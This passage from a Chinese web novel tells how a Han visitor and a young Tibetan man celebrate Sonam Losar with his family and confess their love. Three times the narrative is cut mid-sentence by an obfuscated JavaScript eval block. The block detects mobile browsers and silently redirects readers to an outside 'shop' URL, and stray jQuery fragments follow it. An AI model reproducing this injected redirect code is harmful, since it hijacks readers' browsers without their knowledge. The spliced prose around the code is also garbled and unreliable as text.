那个早晨,沈翊学会了捶打毯子,学会了分辨不同材质的编织物需要不同的力度,学会了尼玛旺堆家祖传的、在特定角度捶打能让纤维更蓬松的诀窍。更重要的是,他学会了在尼玛旺堆的体温包裹下,如何让自己的心跳不至于太过喧哗。 “好了。”半小时后,尼玛旺堆接过木槌,“剩下的我来。你去喝早茶,阿妈煮了新的酥油茶。” 沈翊没有立刻离开。他站在院子里,看着尼玛旺堆重新开始规律的捶打。阳光完全升起来了,照亮空气中飞舞的细小纤维,像一场金色的雪。尼玛旺堆的藏袍袖子挽到手肘,小臂的肌肉随着动作起伏,青筋在古铜色的皮肤下隐约可见。 沈翊忽然想起大学时读过的诗句——“劳动使大地变得神圣”。当时他不能理解,现在却忽然懂了:不是劳动本身神圣,而是当一个人全心全意地投入劳作,当他身体的韵律与土地的节拍合二为一,那种专注、那种投入、那种与生命本源的联系,会让旁观者也感到一种近乎宗教的宁静。 尼玛旺堆就是这样的存在。他劈柴、喂牛、捶打毯子、修理农具,每一个动作都流畅得像自然现象,像风吹过草原,像水流过石滩。 沈翊曾经生活过的那个世界,劳动是换取生存的手段,是异化的、需要逃离的负担。可在这里,劳动是生活本身,是人与土地、与季节、与传统持续不断的对话。 “看入迷了?”德吉次仁不知何时出现在他身边,手里端着两碗酥油茶。 沈翊接过一碗,热度透过瓷碗熨烫着掌心:“他……很擅长这些。” “我弟弟吗?”德吉次仁顺着他的目光看去,眼里有骄傲,也有某种复杂的情绪,“他是把自己逼成这样的。小时候其他孩子都在玩,他就喜欢跟在阿爸后面学怎么绑缰绳,怎么看云识天气。阿爸走后,他十岁就能独自放牧三十头牛,独自修理家具,他成为了这个家实际上的‘父亲’。” 她顿了顿,喝了一口茶:“他也是村里为数不多的大学生之一。你知道吗?他高考分数够去内地很好的学校,但他选了西藏大学。我问为什么,他说‘阿妈一个人在家,我走远了不放心’。” 沈翊没有说话。碗里的酥油茶泛起细细的涟漪。 “他是个傻子。”德吉次仁轻声说,“太重感情,太负责任。有时候我希望他能自私一点,像城里那些年轻人一样,只想着自己的前途和快乐。” “那样就不是他了。”沈翊听见自己说。 德吉次仁转头看他,目光温和,语气里充满无奈:“是啊……你说得对。那样就不是他了。” 她离开时拍了拍沈翊的肩膀,力道不轻不重,像一个无声的认可。 藏历十二月一日索朗罗萨【农耕新年】——日喀则的新年,是比藏历新年更早到来的盛大节日。进入十二月后,整个村庄都进入了某种有序的忙碌。 尼玛旺堆家的准备工作从“古突”之夜的前三天就开始了。 第一天是彻底的大扫除。 这不是普通的清扫,而是一种近乎仪式般的净化。 阿妈米玛啦尽管身体虚弱,仍然坚持要参与。她戴着头巾,坐在卡垫上指挥:哪些家具需要搬到院子里曝晒,哪些唐卡需要小心取下除尘,佛堂里的每一盏酥油灯都要擦拭得锃亮。 沈翊负责擦拭那些银制和铜制的器皿,供奉用的水碗、敬酒的壶、盛放青稞的容器。尼玛旺堆坐在他对面,手里是另一堆待擦的器皿。两人之间只隔着一盆温水,和水中倒映的、摇晃的天光。 “这个图案是什么意思?”沈翊拿起一个碗,碗壁上刻着复杂的纹样。 尼玛旺堆接过去,指尖无意识地抚过那些刻痕:“这是‘永固’,藏语叫‘扎西达杰’。你看这些缠绕的线条,没有起点也没有终点,象征着福运绵延不绝。” 他的手指修长,指甲修剪得很干净,指腹有长期劳作留下的茧。当那些手指在古老的纹样上游走时,沈翊忽然产生一种错觉,仿佛尼玛旺堆不是在解释一个图案,而是在诉说着属于他们的审美。 “那这个呢?”沈翊拿起一个挂画问。 “这是‘和气四瑞’。”尼玛旺堆的眼睛亮起来,“大象、猴子、兔子、鸟,一个托着一个。说的是它们如何互相尊重,共享一棵树的故事。象征和睦、互助。” 他讲起故事来有一种独特的魅力,不是照本宣科,而是像在回忆亲身经历。讲到猴子如何机智,兔子如何善良,鸟如何最先发现果树时,他的表情会随着角色变换,时而蹙眉时而微笑。沈翊发现自己不是在听故事,而是在看一场独角戏——而他是唯一的观众。 “你很喜欢这些。”沈翊说。 尼玛旺堆愣了一下,随即不好意思地笑了:“小时候阿妈讲的睡前故事就是这些。后来上学了,读到书本上一样的记载,会觉得……很神奇。原来我从小听到大的故事,已经在这个民族里流传了一千多年。” 他低下头继续擦拭器皿,声音变得很轻:“有时候我觉得自己像一棵树,根扎在这片土地里太深了,深到能尝到一千年前的雨水。” 沈翊没有说话。他忽然理解了那种沉重,不是负担,而是某种丰饶的、让你无法轻易离开的牵连。就像此刻手中的铜碗,被无数双手擦拭过,盛放过无数次的供奉,早已不是一件器物,而是一个家庭的回忆容器。 第二天是准备“新年”的要用的羊头、肉类、牛肺、牛羊肠等等。 尼玛旺堆和沈翊去烤羊头外的杂毛,阿妈米玛啦和沈翊去弄牛肺和牛羊肠,还有煮其他的肉。 沈翊看着尼玛旺堆用火.枪把牛头的全方位烤一遍,黝黑黝黑的,到这里还没有结束,他又拿起刀,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182996|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表层烤焦的毛刮下来,重复几次。最后拿着去清洗。 阿妈米玛啦和德吉次仁此刻正在水边准备往羊肠里填充的食物,包括:“羊血、剁碎的肉、盐、葱、辣椒等其他藏式香料”混合灌入肠衣里,煮熟备用。 沈翊问:“那羊头不用现在煮?” 德吉次仁把最后一个牛肠灌满后说:“新年的早上煮就可以了。”而尼玛旺堆也把羊头洗干净了。 这天德吉次仁和尼玛旺堆还二楼厨房放干牛粪的地方,填满了。他们说,新年第一天是不能去拿。 第三天就是‘古突’。 “古突”是藏历十二月二十九日的晚餐,一种面疙瘩汤。但制作过程本身就是一场仪式。 阿妈米玛啦将全家人召集到厨房,包括沈翊。她面前摆着一大盆和好的面,旁边是九种不同的“馅料”:辣椒代表嘴上比较会说的,羊毛代表性格比羊毛还温柔,盐巴代表懒惰,瓷片代表好吃懒做,碳代表心黑,纸代表这个人会偷窃,白石头代表这个人很善良、黑石头代表心比较坏、太阳形状的面片代表光明,月亮代表…… “我们家里是大家一起做,”德吉次仁解释道,“把不同的馅料包进去。吃饭的时候,谁吃到什么,就代表来年会有相应的性格或运气。” 沈翊学得很认真。他的手指不像尼玛旺堆那样灵巧,捏出的面疙瘩大小不一,有的还露馅。尼玛旺堆看了直笑,坐到他身边,握住他的手:“这样,拇指和食指这样用力。” 他的手完全包裹住沈翊的手。面团在两人指尖被揉捏、塑形,渐渐变成一个匀称的圆球。沈翊能感觉到尼玛旺堆掌心的温度,感觉到他指节用力的方式,感觉到自己手背上逐渐升高的热度。 “会了?”尼玛旺堆松开手,声音有些哑。 沈翊点点头,不敢看他。 接下来的时间里,他机械地捏着面疙瘩,脑海里反复回放的却是那短暂的包裹,那不仅仅是教学,那是某种更亲密的、更私人的接触。 尼玛旺堆教他放牛时没有这样握他的手,教他骑马时没有,甚至在扎央宗拉他上来时也没有。 这不一样。沈翊的心脏在胸腔里沉沉地跳。 这不一样。 晚餐时,阿妈米玛啦特意让沈翊坐在她身边。 老人家的手已经有些颤抖,但还是坚持为沈翊盛了满满一碗“古突”。吃饭的过程充满欢笑,德吉次仁吃到了 辣椒,夸张地喊“我明年要变成泼妇了”;尼玛旺堆吃到了羊毛和白石头,阿妈米玛啦欣慰地说“我儿子永远这么善良”。 沈翊的第一个面疙瘩里是太阳。 “光明。”尼玛旺堆看着他,眼神在酥油灯的光晕里显得格外柔软,“你会有光明的一年。” 沈翊嚼着那片面疙瘩,忽然觉得喉咙发紧。不是因为难吃,而是因为这句话里的祝愿太过美好,美好得像一个他不敢接住的礼物。 那一刻,沈翊感到眼眶发热。 他低下头,假装被热气熏到了眼睛。而桌子对面,尼玛旺堆正静静看着他,碗里的面疙瘩已经凉了,他却浑然不觉。 把自己吃饱后的剩饭倒进提前做好的‘驱魔神’傍边,还要用做好的糌粑团沾上手印,在大拇指处从脚底的衣物上拔掉几根毛。一块扔进放着‘驱魔神’的旧陶罐里。这象征着人们在一年中的病痛、灾害以及不详等等全部一起带走。 随后德吉次仁抱着旧陶罐往外走,尼玛旺堆手持火把走进每个房间转一下嘴里还念叨着什么,沈翊在后面负责看火中有没有掉在地上。转完后,跑出家门,将其仍在十字路口焚烧。 放鞭炮。 这一晚让沈翊记忆深刻。 24. 表白心意【新增】 第三天,十二月三十日,日期吉祥,诸事顺。 男人们要爬上屋顶,更换崭新的经幡和风马旗,而沈翊才知道原来他初到时看到的是缝着彩色的柱子是插挂式风马旗。 尼玛旺堆和德吉次仁相互协作,扛着长长的、五色斑斓的风马旗爬上梯子。沈翊在下面扶着梯子,仰头看见尼玛旺堆站在屋顶边缘,背后是湛蓝得令人心悸的天空。 风很大,吹得经幡猎猎作响。 尼玛旺堆穿着白色藏胞戴着藏帽的身影在风中稳如磐石,他先是把四周的风马旗挂上,挂一个还会在嘴里念着什么,当第一面新的风马旗在屋顶升起时,他回过头,对地上的沈翊笑了笑。 随后展开缝在一起的经幡,动作有一种祭祀般的庄严,德吉次仁在这边固定,尼玛旺堆在另一边固定。 经幡彻底展开在他的眼前。 他们还换了新的五.星.红.旗. 尼玛旺堆往陶罐里添加了一把藏香和糌粑,用哈达包裹的敬酒器往上转了一圈。 致此全部仪式结束。 他笑着回头,那笑容被阳光镶上金边,被风吹得有些模糊,却深深烙进了沈翊的记忆里。 许多年后他都会记得这个瞬间,一个藏族青年站在世界的屋脊上,身后是飘扬的经幡和无限天空,而他笑着,仿佛在说:看,这就是我的世界,现在它也是你的了。 尼玛旺堆从屋顶下来,满身都是阳光和风的味道,他让每个进行‘琪玛’,沈翊左肩上荣获白色的祈福。 阿妈米玛啦则在厨房里准备“措”(供品)。 德吉次仁带着沈翊学习如何用酥油、糌粑和糖捏制各种形状的供品,宝塔形的“迭卡”,象征吉祥的“洛果”,还有栩栩如生的酥油花。沈翊的手笨,捏出的宝塔歪歪扭扭,德吉次仁也不恼,只是拆了重做,一遍遍示范。 “你知道吗,”她说,手里灵巧地捏着一朵莲花,“在西藏,食物不只是食物。它是供养,是祝福,是与另一个世界沟通的语言。” 沈翊看着那些精致的酥油花在德吉次仁指尖绽放,忽然理解了这种文化的核心,它不是关于索取,而是关于给予。给予神灵,给予祖先,给予客人,给予彼此。在这个世界里,爱不是挂在嘴边的誓言,而是揉进面团里的心意,是捏进酥油花里的祝福,是升上屋顶的经幡在风中每一声诵念。 傍晚时分,所有的准备工作都完成了。 房屋焕然一新,佛堂里供品堆积如山,厨房飘出炖肉的香气。 “累了?”他问沈翊,很自然地伸手拂去沈翊肩头不知何时落上的灰尘。 “还好。”沈翊说,其实他的腰已经酸得直不起来。 尼玛旺堆看着他,忽然说:“晚上……要不要去看星星?” 他们是在深夜溜出家门的。 罗萨前夜,按照习俗应该守夜,但阿妈米玛啦身体撑不住早早睡了,德吉次仁在佛堂念经。尼玛旺堆对沈翊使了个眼色,两人像逃学的少年,悄无声息地溜出院子。 村庄已经睡了,只有零星几家窗户还亮着灯。尼玛旺堆没有骑摩托车,也没有开车,而是步行。沈翊跟在他身后,踩着被月光照得发白的土路,听着远处偶尔传来的狗吠。 他们走了大概二十分钟,来到村外的一片高地。这里没有树,只有蔓延到天边的枯草,和头顶浩瀚得令人窒息的星空。 他在地上铺了一层布,“躺下。”尼玛旺堆说,自己先躺在了草地上。 沈翊学着他的样子躺下。 隔着布料,他依旧能感受到草很干,扎着后背,但很快就被体温焐热了。然后他看见了,毫无遮挡的星空。 那不是城市里零星的几颗星星,那是银河倾泻,是亿万光年同时爆炸在眼前。 星群密集得几乎看不到黑色的天幕,它们不是静止的,而是在缓慢旋转,仿佛整个宇宙就是一个巨大的转经筒,而他们正躺在它的轴心。 比家里窗户外看还要惊艳。 “我小时候经常来这里。”尼玛旺堆的声音在黑暗中响起,“不开心的时候,迷茫的时候,或者只是……想一个人待着的时候。” 沈翊没有说话。他怕一开口就会打破这魔咒般的宁静。 “阿爸走的那年,我在这里躺了一整夜。”尼玛旺堆继续说,声音平静得像在讲别人的故事,“我想,为什么有的人可以轻易离开,而有的人必须留下?为什么承诺像风一样,吹过就散了?那一年我十二岁,觉得这个世界不公平。” 沈翊转过头。在星光的勾勒下,他能看见尼玛旺堆侧脸的轮廓,高挺的鼻梁,紧抿的嘴唇。 “后来我明白了,”尼玛旺堆说,“不是世界不公平,是世界本来就是这样。有人离开,有人留下;有人背叛,有人坚守。就像星星,有的会熄灭,有的刚刚诞生。重要的是——”他顿了顿,“重要的是你选择成为哪一种。” 沈翊的喉咙发紧:“你选择了坚守。” “不是我选择了坚守,”尼玛旺堆纠正道,“是坚守选择了我。就像这棵草,”他随手拔起身边的一株枯草,“它没有选择生长在这里,是风把种子带到了这里,是土地允许它生根。它只是……接受了这个命运,然后尽力活得好一点。” 他转过脸,看向沈翊。星光落进他的眼睛,让那双原本深邃的眼眸变得透明,仿佛沈翊能一眼望到他灵魂的最深处。 “沈翊,”尼玛旺堆叫他的名字,每个音节都咬得很清楚,“你知道吗,你刚来的时候,我觉得你很可怜。” 沈翊苦笑:“我知道。” “不,你不知道。”尼玛旺堆摇头,“我可怜你,不是因为你被背叛,不是因为你在城市里活得不快乐。我可怜你,是因为你像一棵被移植的树,根还留在原来的土壤里,却硬要在这片高原上生长。我看着你,就像看着一个伤口,一个需要被小心对待的、会痛的伤口。” 沈翊感到胸口一阵尖锐的疼痛。不是因为被说中了,而是因为尼玛旺堆说得如此准确,如此温柔。 “但是后来,”尼玛旺堆的声音低下去,几乎要融进风声里,“后来我发现我错了。你不是伤口,你是……你是春天冻土下的第一棵草芽。看起来脆弱,一碰就折,可是你有一种力量,一种沉默的、固执的、非要活下来的力量。” 他坐起身,俯视着沈翊。这个角度,他背对着星空,脸在阴影里,只有眼睛亮得惊人。 “你学捡牛粪,手磨破了也不说;你去爬山,喘不过气也不喊停;你学捏‘古突’,失败了十次还要试第十一次。你从不说‘我需要帮助、我喜欢这里’,可是你每一天都在用行动说:我想留在这里,我想了解你们,我想成为……成为你们生活的一部分。” 尼玛旺堆深吸一口气,那口气在寒冷的夜空中凝成白雾:“而我,我发现自己每天都在期待。期待早上叫你起床时,你会不会又赖床;期待教你新东西时,你会不会露出那种认真的、有点笨拙的表情;期待吃饭时,你会不会偷偷把不喜欢的菜拨到碗边,像个小孩子。” 他停下来,手无意识地揪着身边的枯草,“我不知道自己为什么会那样。” 沈翊看见他的手指在微微颤抖,抬了抬手想要握住,随后又放弃了。 “今天下午,我在屋顶换经幡的时候,”尼玛旺堆继续说,声音开始不稳,“我回头看见你在下面,扶着梯子,仰头看着我。那一刻,风很大,吹得我几乎站不稳。可是我不怕,因为我知道你在下面。如果你在下面,我就不会摔下来。这个念头就那么突然地、清楚地出现在我脑子里,如果你在,我就安全。” 沈翊的视线模糊了。他眨眨眼,星星化成了光晕。 “我不懂什么是爱。”尼玛旺堆说,终于说出了那个字,“阿爸阿妈没有教过我,学校里没有教过我。我只知道,当你靠近时,我的心跳会变快;当你离开房间时,我会觉得那个房间变得太安静;当你笑的时候,我觉得今天太阳特别亮;当你难过的时候,我恨不得把世界上所有的快乐都捧到你面前。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182997|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他跪坐起来,双手撑在沈翊身体两侧,形成一个亲密的包围圈。他们的脸靠得很近,近到能感受到彼此的呼吸,近到沈翊能看清尼玛旺堆瞳孔里自己小小的倒影。 “这如果是病,”尼玛旺堆一字一句地说,“那我病得很重。这如果是不正常,那我宁愿不正常。沈翊,我不想只做你的房东,不想只做你的导游,不想只做你的……朋友。” 他停顿了很久,久到沈翊以为时间停止了。然后他说出了那句话,用汉语,用他带着口音却异常清晰的汉语: “我想做那个,每天早上第一个看见你的人。我想做那个,每天晚上最后一个跟你说晚安的人。我想做那个……你愿意留在这片高原上的理由。” 星空在他们头顶旋转。银河倾斜,星光流淌。沈翊感到有温热的液体从眼角滑落,流进鬓角,渗入干枯的草地。 他伸出手,颤抖着,抚上尼玛旺堆的脸颊。皮肤是温暖的,带着夜风的凉意,和某种更深的、从内里透出的热度。 “你这个傻子。”沈翊说,声音哽咽,“你知不知道,从见到你的那一刻起,我就已经……” 他说不下去了。因为尼玛旺堆俯下身,吻住了他。 那不是技巧娴熟的.吻,甚至算不上温柔。它笨拙、急切、带着年轻人特有的横冲直撞,和某种豁出去的决绝。尼玛旺堆的嘴唇有些干,舌尖有酥油茶和青稞酒的味道,那是沈翊已经熟悉了的、属于这片土地的味道。 沈翊回应了他。他抬手环住尼玛旺堆的脖子,把他拉得更近,近到两人的胸膛紧紧相贴,近到能感受到对方同样剧烈的心跳。他们在星空下接吻,在海拔四千米的高原上,在藏历新年的前夜,像两个刚刚发现火的原始人,笨拙而热烈地探索着彼此。 不知过了多久,他们分开,额头相抵,喘息着看着对方。尼玛旺堆的眼睛亮得吓人,里面有星光,有火焰,还有一种沈翊从未见过的、近乎虔诚的专注。 “沈翊,”他喘息着说,“我的汉族名字不好听,但我阿妈说,它意思是‘像太阳一样温暖’。你愿意……做我的太阳吗?” 沈翊笑了,笑着笑着又哭了。他捧着尼玛旺堆的脸,用拇指擦去他唇边湿润的痕迹,然后说:“我愿意。但我不是太阳,尼玛旺堆。你才是。你才是这片高原上的太阳,而我只是……恰好被你照亮的,一棵草。” 尼玛旺堆摇头,再次吻住他。这个吻绵长而温柔,像一场无声的誓言。 他们躺在星空下,手指交缠。尼玛旺堆指着天空,教沈翊认星座:那是北斗,那是启明,那是藏族传说中格萨尔王的战马化作的星群。他的声音低沉而平稳,像诵经,像吟唱。 沈翊听着,忽然想起尼玛旺堆说过的那句话:“有时候我觉得自己像一棵树,根扎在这片土地里太深了。” 而现在,沈翊想,也许自己也正在长出根须。不是扎进土地,而是扎进这个人的生命里。那些根须细小而脆 弱,却顽强地向下探索,试图抓住一点温暖,一点光亮,一点名为“家”的可能性。 后半夜,气温骤降。尼玛旺堆脱下自己的藏袍,裹住两人。他们在袍子形成的狭小空间里相拥,分享着体温和呼吸。沈翊枕着尼玛旺堆的胳膊,听着他平稳的心跳,忽然感到一种前所未有的平静。 “该回去了。”天快亮时,尼玛旺堆轻声说。 他们牵着手走回村庄。东方已经泛起鱼肚白,第一缕晨光爬上山脊。路过村口玛尼堆时,尼玛旺堆停下,从口袋里掏出什么,放进石堆的缝隙里。 “是什么?”沈翊问。 尼玛旺堆握紧他的手:“一颗糖。小时候阿妈说,在新年第一天把甜蜜献给神灵,整年都会是甜的。” 沈翊看着他被晨光照亮的侧脸,忽然明白了,这个二十二岁的青年,这个扛起一个家的男人,这个在星空下对他笨拙表白的爱人,骨子里仍然是个相信“放一颗糖就能换来一年甜蜜”的孩子。 而这个反差感,让沈翊的心软得一塌糊涂。 25. 我喜欢你的世界【新增】 藏历十二月一日,索朗罗萨,在诵经声中到来。 天还没亮,阿妈米玛啦就起来了。 她换上了崭新的藏袍,墨绿色的底,镶着五彩的缎边,头发梳成复杂的发髻,戴上了平时不戴的银饰。尽管脸色仍然苍白,但她的眼睛里有光,那是节日赋予病人的、短暂的健康。 尼玛旺堆也穿上了正式的藏装。深褐色的袍子,同色的腰带,露出白色衬衫的袖子。他站在院子里,让德吉次仁帮他整理衣领时,回头看见了沈翊。 那一瞬间,他们的目光在空中相遇。没有语言,但有什么东西在无声中交换了,昨晚的星空,那个吻,那些誓言,全部压缩成一个眼神,一个只有他们懂得的眼神。 “来,”尼玛旺堆对沈翊伸出手,“我阿妈要给你穿衣服。” 沈翊愣住了。阿妈米玛啦确实拿着一套藏袍走过来,那是崭新的、显然是为他准备的。袍子是靛蓝色,面料厚实,袖口和衣襟绣着精细的花纹。 “我……”沈翊不知道该说什么。 “穿上吧。”德吉次仁笑着说,“这是我们家的传统,新年第一天,要给家里每个人穿上新衣。你现在是我们家的人了。” “家里人”。这个词像一道暖流,瞬间淹没了沈翊。他任由阿妈米玛啦帮他穿上藏袍,笨拙地学着系腰带。袍子很合身,显然是特意量过尺寸的。当他完全穿好,站在院子里时,尼玛旺堆的眼睛亮了一下。 “好看。”他说,简单直接。 德吉次仁绕着沈翊转了一圈:“嗯,像个藏族小伙子了。就是皮肤太白,得多晒晒。” 仪式从“抢新水”开始。 “德吉次仁在家帮妈妈,尼玛旺堆只能替他去。”尼玛旺堆背着水桶,带着沈翊来到村里的水井边。已经有不少人在那里排队了,大家互相祝福“罗萨扎西德勒”,笑声在清晨寒冷的空气中回荡。 “新年第一桶水,能带来好运。”尼玛旺堆解释着,动作麻利地打上满满一桶水。水很清,在桶里晃荡着,映出天空渐渐亮起的蓝色。 回去的路上,他们遇到了其他村民。大家看到沈翊穿着藏袍,都友善地打招呼。一个老奶奶甚至走过来,摸了摸沈翊袍子的面料,用藏语说了句什么。 “她说,”尼玛旺堆有些吃醋的翻译,嘴角带着笑,“这料子好,穿着暖和。问你有没有对象,她有个孙女……” 沈翊的脸红了。尼玛旺堆哈哈大笑,用藏语回了老奶奶几句,老奶奶也笑了,拍拍沈翊的肩膀,颤巍巍地走了。 “你说了什么?”沈翊问。 “我说,”尼玛旺堆凑近他耳边,热气喷在他的皮肤上,“你已经有人了。” 沈翊的耳根烧了起来。 接下来的仪式一项接一项,“在佛堂献供,在屋顶煨桑。尼玛旺堆耐心地教沈翊每一个步骤,解释每一个动作的含义。当沈翊学着他的样子,用无名指蘸了青稞酒弹向空中时,尼玛旺堆看着他专注的侧脸,忽然感到一阵强烈的情感涌上心头。 就是这个人。 这个从遥远城市来的、曾经伤痕累累的、现在正笨拙地学习弹酒的人。他想和这个人一起,迎接每一个新年,送走每一个旧岁;想教他所有自己知道的传统,也想学所有他带来的新鲜;想看着他慢慢被高原的阳光晒黑, 想保护他永远不被这里的风雪伤害。 早餐是丰盛的“羌枯”和各式油炸面点。阿妈米玛啦坚持要沈翊坐在主客的位置,不停地往他碗里夹菜。沈翊吃不下,尼玛旺堆就自然而然地接过他碗里剩下的食物,毫不介意地吃完。 德吉次仁看着这一幕,眼神复杂。她什么也没说,只是给母亲添了碗粥。 上午,客人开始登门。亲戚、邻居、朋友,带着哈达和礼物,说着吉祥的祝福。沈翊被尼玛旺堆拉着,一次次介绍:“这是沈翊,我家的客人……不,是家人。” 每一次说“家人”,尼玛旺堆都会握紧沈翊的手。那是一个公开的、无声的宣告。有些亲戚露出了不解的表情,有些则无所谓地点点头。但没有人说什么难听的话,在这个节日里,所有的祝福都是真诚的,所有的接纳都是宽容的。况且他们也许真的不懂同一性别的人是会相爱的。 下午是家庭的小聚会。大家聚集在客厅中央,围成的圆圈,跳起“果谐”。尼玛旺堆拉着沈翊加入舞蹈的队伍,教他简单的舞步:抬脚,落下,旋转,拍手。 沈翊跳得很笨拙,总踩不准节奏。但尼玛旺堆一直在他身边,用眼神鼓励,用手势引导。当沈翊终于跟上一个完整的段落时,尼玛旺堆笑了,那笑容灿烂得让沈翊几乎忘了呼吸。 黄昏时分,庆祝活动接近尾声。 尼玛旺堆带着沈翊来到后山的白塔。这里安静,只有风吹过经幡的声音,和远处隐约传来的欢笑声。 “累吗?”尼玛旺堆问。 沈翊点头:“累,但是开心。” 他们在白塔旁坐下,看着夕阳把整个村庄染成金色。炊烟从家家户户升起,空气中飘来炖肉的香气。孩子们在田间奔跑,狗在后面追,发出欢快的吠叫。 “这就是我的世界。”尼玛旺堆轻声说,“简单,重复,有时候很辛苦,但大多数时候……很踏实。” 沈翊靠在他肩上:“我喜欢你的世界。” 尼玛旺堆揽住他的肩,把他往怀里带了带。这个动作如此自然,仿佛他们已经这样做了一辈子。 “沈翊,”尼玛旺堆说,声音在暮色中显得格外温柔,“昨晚我说的话,都是真的。每一个字都是真的。” “我知道。” “我不会说漂亮的誓言,也不会做浪漫的事。我只会……每天给你倒酥油茶,教你藏语,带你去看我喜欢的风景。如果你生病了,我会照顾你;如果你难过了,我会陪着你;如果你想家了,我会……我会试着让你的家变成这里。” 沈翊抬起头,看着尼玛旺堆被夕阳镀上金边的脸。这个男人的承诺如此朴素,却比任何华丽的誓言都更有力量。 “尼玛旺堆,”沈翊说,“我活了二十七年,经历过背叛、欺骗、失望。我曾经以为,爱是这个世界上最不可靠的东西。可是你……你让我重新相信了。” 他伸手,抚平尼玛旺堆被风吹乱的头发:“我不需要浪漫,不需要誓言。我只需要每天早上的酥油茶,需要你教我藏语时认真的表情,需要你在星空下看我的眼神。这些就足够了。这些就是我想要的,全部的未来。” 尼玛旺堆的喉结滚动了一下。他低下头,额头抵着沈翊的额头,闭上眼睛。 许久,他说:“好。” 只有一个字,却重若千钧。 夜幕降临,他们手牵手下山。村庄里已经亮起了灯,窗户里透出温暖的黄色光晕。尼玛旺堆家的院子里,德吉次仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182998|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在生火,阿妈米玛啦坐在火边,手里转着经筒。 看见他们回来,德吉次仁招招手:“快来,要开始‘篝火会’了。” 那是罗萨之夜的最后一个环节,一家人围坐在篝火旁,唱歌,喝酒,分享过去一年的故事,许下新一年的愿望。尼玛旺堆和沈翊加入圆圈,接过传递过来的青稞酒碗。 酒过三巡,歌声响起。先是古老的民谣,然后是流行歌曲,最后变成了即兴的创作。有人唱丰收的喜悦,有人唱远行的思念,有人唱爱情的甜蜜。 轮到尼玛旺堆时,他沉默了很久。篝火在他脸上跳跃,让他的表情看起来深沉而温柔。 然后他开口了。不是唱歌,是说话,用藏语,声音不大,但足够让圈子里每个人都听见。 德吉次仁在沈翊耳边轻声翻译: “过去的一年,我家的客人变成了家人。他来自很远的地方,带着满身伤痕。我们教会他挤牛奶、捡牛粪、爬雪山。他教会我们……什么是温柔的坚强。” “我曾经以为,爱是负担,是责任,是不得不背负的东西。但他让我知道,爱也可以是礼物,是光,是让你想变得更好的力量。” “新的一年,我只有一个愿望——希望每天早上醒来,都能看见他睡在我身边的侧脸。希望每天晚上睡前,都能听见他对我说‘晚安’。希望岁月静好,希望时光慢走,希望这片高原的阳光,能永远照在他的笑容上。” 尼玛旺堆说完,举起酒碗,一饮而尽。篝火噼啪作响,火星升上夜空,与星辰融为一体。 全场寂静了片刻。然后,掌声响起。不是雷鸣般的,而是温和的、理解的、祝福的掌声。老人们点头微笑,年轻人吹起口哨,孩子们虽然不懂,也跟着拍手。 沈翊坐在那里,看着尼玛旺堆。火光中,他的爱人转过身,对他伸出手。 沈翊把手放上去。尼玛旺堆握住,很紧,像握住一件失而复得的珍宝。 那一刻,沈翊知道,无论未来有多少风雨,无论阿妈米玛啦是否接受,无论这个世界是否理解——这只手,他不会再放开了。 篝火渐渐熄灭,亲戚们渐渐离开。尼玛旺堆和沈翊最后离开,他们踩着一地星光回家。院子里,阿妈米玛啦已经进屋休息了,德吉次仁在收拾残局。 “我来。”尼玛旺堆接过姐姐手里的东西。 德吉次仁看了他一眼,又看了沈翊一眼,最终只是笑了笑:“早点休息。” 房间里,尼玛旺堆点亮酥油灯。温暖的光晕铺满房间,在墙壁上投下两人依偎的影子。 “今天……”沈翊开口,却不知该说什么。 “今天很好。”尼玛旺堆接上他的话,从背后抱住他,下巴搁在他肩上,“以后的每一年,都会这么好。” 沈翊转过身,面对面看着他。灯光下,尼玛旺堆的眼睛像两潭深水,里面映着一个小小的、完整的自己。 “我爱你。”沈翊说。第一次,他说出了这三个字。 尼玛旺堆怔住了。然后,一个巨大的、灿烂的笑容在他脸上绽开。他什么也没说,只是把沈翊紧紧搂进怀里,紧到沈翊能听见他胸腔里传来的、擂鼓般的心跳。 那一夜,他们在酥油灯的光晕里相拥而眠。窗外,高原的风吹过经幡,星星在夜空中缓缓旋转,新的一年已经到来。 而春天,正在冻土之下,悄悄孕育着新生。 26. 两人的旅途【新增】 罗萨过后,日子重新沉入冬日的节奏。 但某种微妙的改变已经发生,像冰川融水渗入冻土,表面看不出,深处却在悄然松动。 决定去边境线旅行,是在一个喝完酥油茶的午后。 德吉次仁摊开一张手绘地图,指尖划过日喀则以南那些陌生地名:“岗巴、曲登尼玛、康马……这些地方,我 们从来都没有去过,这次就一起去吧!” 沈翊凑近看。地图边缘已经磨损,铅笔标注的地名旁有细密的藏文注释,像某种秘传一样,他也看不懂。 